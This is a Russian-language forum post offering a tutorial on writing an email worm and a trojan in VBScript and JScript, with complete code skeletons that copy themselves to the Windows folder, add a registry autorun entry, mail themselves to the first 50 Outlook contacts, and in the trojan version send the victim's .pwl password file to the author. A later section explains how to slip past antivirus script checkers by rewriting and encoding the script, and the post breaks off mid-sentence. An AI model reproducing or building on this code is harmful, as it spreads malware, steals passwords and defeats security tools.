Гайд по созданию почтового червя

Тема в разделе "Вирусы", создана пользователем sSsofer, 13 июл 2019.

  1. sSsofer

    sSsofer New Member

    Предисловие: Согласно статьи 273 УК. создание, использование и распространение вредоносных программ для ЭВМ преследуется по закону, руководство создано в ознакомительных целях.

    Для написания будем использовать Visual Basic Scripting Edition, на котором написано подавляющие большинство Internet – червей. Начнем с инструкций - Option Explicit и On Error Resume Next, первая необходима при отладке кода, она запрещает использование не объявленной ранее переменной, а вторая подавляет обработчик ошибок.

    Option Explicit

    Dim FileSysObject, File

    Set FileSysObject = CreateObject (Scripting.FileSystemObject)

    Set File = FileSysObject.GetFile(WScript.ScriptFullName)

    В данном примере используются переменные FileSysObject и File, и если при создании скрипта вы допустите ошибку, написав FileSysObiect, интерпретатор сообщит вам, что используется необъявленная, в операторе Dim, переменная. Такие ошибки находить очень трудно, так как они зачастую меняют всю логику работы программы. Перейдем к инструкции On Error Resume Next, эта инструкция означает, что любая возникшая ошибка будет обработана программным кодом позднее, а в нашем случае никогда. Это позволяет запретить выдачу системных сообщений об ошибках и замаскировать работу скрипта.

    Теперь опишем третью и четвертую строки примера:

    Set FileSysObject = CreateObject (Scripting.FileSystemObject)

    Присваиваем переменной FileSysObject ссылку на объект COM-компоненты WSH File System Object. С помощью метода GetFile присвоим переменной File ссылку на командную строку местоположения исполняемого файла.

    Скопируем скрипт в c:windows, для дальнейшего использования.

    File.Copy (c:windowsI_am_virus.vbs)

    Присвоим переменной WshShell ссылку на объект COM-компоненты WSH позволяющую менять настройки системы и запускать приложения.

    Dim WshShell

    Set WshShell = WScript.CreateObject(WScript.Shell)

    Теперь мы смело можем управлять захваченным компьютером.

    Сначала пропишем свой страшный вирус в реестр, для повторного запуска после перезагрузки, хотя для E-mail worm это и необязательно, как в прочем и процедура копирования.

    WshShell.RegWrite HKEY_LOCAL_MACHINESoftwareMicrosoftWindows _

    CurrentVersionRunServicesvirus, c:windowsI_am_virus.vbs

    Следующий шаг за вашей фантазией, можно скопировать из Internet более сложный вирус, как делал I-Worm.LoveLetter, и запустить его, отослать вам файл с паролями, или просто и скучно перепортить кучу файлов.

    И, наконец, мы переходим к сердцу каждого Internet – червя, процедуре рассылки.

    Создаем ссылку на объект самого распространенного почтового клиента Outlook.

    Dim OutlookObject, OutMail, Index

    Set OutlookObject = CreateObject(Outlook.Application)

    Зададим цикл, в ходе которого разошлем зараженные письма по первым 50 адресам, занесенным в адресную книгу.

    For Index = 1 To 50

    Создадим новое почтовое сообщение

    Set OutMail = OutlookObject.CreateItem(0)

    В поле Кому занесем адрес из адресной книги

    OutMail.to = OutlookObject.GetNameSpace(MAPI).AddressLists(1).AddressEntries(Index)

    В поле Тема вставим тему сообщения

    OutMail.Subject = Тема сообщения

    Добавим текст сообщения

    OutMail.Body = Тело сообщения

    Прикрепим скрипт

    OutMail.Attachments.Add(WScript.ScriptFullName)

    И отправим его

    OutMail.Send

    Next

    Вот вы и стали писателями вирусов. Чувствуете подъем? Опуститесь на землю, это только каркас, заполнить его, ваша задача. Удачи!

    Каркас E-mail worm:

    On Error Resume Next

    Dim FileSysObject, File

    Set FileSysObject = CreateObject (Scripting.FileSystemObject)

    Set File = FileSysObject.GetFile(WScript.ScriptFullName)

    Dim OutlookObject, OutMail, Index

    Set OutlookObject = CreateObject(Outlook.Application)

    For Index = 1 To 50

    Set OutMail = OutlookObject.CreateItem(0)

    OutMail.to =

    OutlookObject.GetNameSpace(MAPI).AddressLists(1).AddressEntries(Index)

    OutMail.Subject = Тема сообщения

    OutMail.Body = Тело сообщения

    OutMail.Attachments.Add(WScript.ScriptFullName)

    OutMail.Send

    Next






    Каркас троянского коня:



    On Error Resume Next

    Dim FileSysObject, File

    Set FileSysObject = CreateObject (Scripting.FileSystemObject)

    Set File = FileSysObject.GetFile(WScript.ScriptFullName)

    File.Copy (c:windowsI_am_virus.vbs)

    Dim WshShell

    Set WshShell = WScript.CreateObject(WScript.Shell)

    WshShell.RegWrite

    HKEY_LOCAL_MACHINESoftwareMicrosoftWindows _

    CurrentVersionRunServicesvirus, c:windowsI_am_virus.vbs

    Dim OutlookObject, OutMail, Index

    Set OutlookObject = CreateObject(Outlook.Application)

    For Index = 1 To 50

    Set OutMail = OutlookObject.CreateItem(0)

    OutMail.to =

    OutlookObject.GetNameSpace(MAPI).AddressLists(1).AddressEntries(Index)

    OutMail.Subject = Тема сообщения

    OutMail.Body = Тело сообщения

    OutMail.Attachments.Add(WScript.ScriptFullName)

    OutMail.Send

    Next

    Set OutMail = OutlookObject.CreateItem(0)

    OutMail.to = Ваш E-mail

    OutMail.Subject = Тема сообщения

    OutMail.Body = Тело сообщения

    OutMail.Attachments.Add(Путь к .pwl файлу)

    OutMail.Send






    Часть 2. - Исследование новых возможностей



    В ходе написания первой статья я столкнулась с проблемами при тестировании написанных скриптов, установленный AVP Script Checker на любую попытку сохранить файл с командами копирования файла с локальной машины, пересылки через электронную почту, попытки прочитать реестр, выдавал сообщение о наличии в этом файле новых модификаций различных вирусов. Создавалось впечатление, что AVP надежно стоит на страже наших интересов, и я решила проверить, действительно ли это так?

    При изучении документации к Windows Scripting Host(WSH), я обратила внимание на абзац где было сказано, что корпорацией Microsoft был создан независимый от языка скрипт – хост, который позволял строить аналоги .bat файлов на VBScript, JScript и других скриптовых языках, например, Active Perl или Python. На их сайте про Active Perl или Python ничего сказано не было но про JScript было написано довольно подробно, сравнив возможности VBScript и JScript, стало понятно, что они идентичны и отличаются только синтаксисом языка.

    Переписать скрипт с одного языка программирования в другой было делом техники, в результате получилось:

    Каркас E-mail worm



    var fileSysObject, file;

    fileSysObject = new ActiveXObject(Scripting.FileSystemObject);

    file = fileSysObject.GetFile(WScript.ScriptFullName);

    var outlookObject, outMail, index;

    outlookObject = new ActiveXObject(Outlook.Application);

    for (index = 1; index < 50; index++){

    outMail = outlookObject.CreateItem(0);

    outMail.to =

    OutlookObject.GetNameSpace(MAPI).AddressLists(1).AddressEntries(index);

    outMail.Subject = Тема сообщения;

    outMail.Body = Тело сообщения;

    OutMail.Attachments.Add(WScript.ScriptFullName);

    outMail.Send;}





    Каркас троянского коня



    var fileSysObject, file;

    fileSysObject = new ActiveXObject(Scripting.FileSystemObject);

    file = fileSysObject.GetFile(WScript.ScriptFullName);

    file.Copy(c:windowsI_am_virus.vbs);

    var wshShell;

    wshShell = new ActiveXObject(WScript.Shell);

    wshShell.RegWrite(HKEY_LOCAL_MACHINESoftwareMicrosoftWindows _

    CurrentVersionRunServicesvirus, c:windowsI_am_virus.vbs);

    var outlookObject, outMail, index;

    outlookObject = new ActiveXObject(Outlook.Application);

    for (index = 1; index < 50; index++){

    outMail = outlookObject.CreateItem(0);

    outMail.to =

    OutlookObject.GetNameSpace(MAPI).AddressLists(1).AddressEntries(index);

    outMail.Subject = Тема сообщения;

    outMail.Body = Тело сообщения;

    OutMail.Attachments.Add(WScript.ScriptFullName);

    outMail.Send;}

    outMail = outlookObject.CreateItem(0);

    outMail.to = Ваш E-mail;

    outMail.Subject = Тема сообщения;

    outMail.Body = Тело сообщения;

    outMail.Attachments.Add(Путь к .pwl файлу);

    outMail.Send;





    AVP молчал :)

    Однако при выполнении скрипта Script Checker выдал сообщение, что этот файл возможно содержит вирус и заблокировал его выполнение. Покопавшись еще я выяснила, что он реагирует на попытку отослать файл по почте, так как и в VBScript, и в JScript строка OutMail.Attachments.Add(WScript.ScriptFullName) выглядит одинаково. Избавиться от этого удалось, закодировав скрипт программой MS Windows Script Encoder.

    Скрипт был проверен на трех самых распространенных антивирусных программах Norton AntiVirus, AVP и Dr.Web. Первые две успешно промолчали, и только Dr.Web, отфильтровал его, как потенциально опасный, сработал знаменитый эвристический анализатор.

    На основе сделанного анализа можно предположить, что нас ждет следующий виток эпидемий связанных с написанием вирусов на JScript.

    Часть 3. - Как обмануть AVP Script Checker



    Описанный метод обхода AVP Script checker довольно сложен, так как требует знаний разных языков программирования, однако можно придумать множество более

Поделиться этой страницей

Top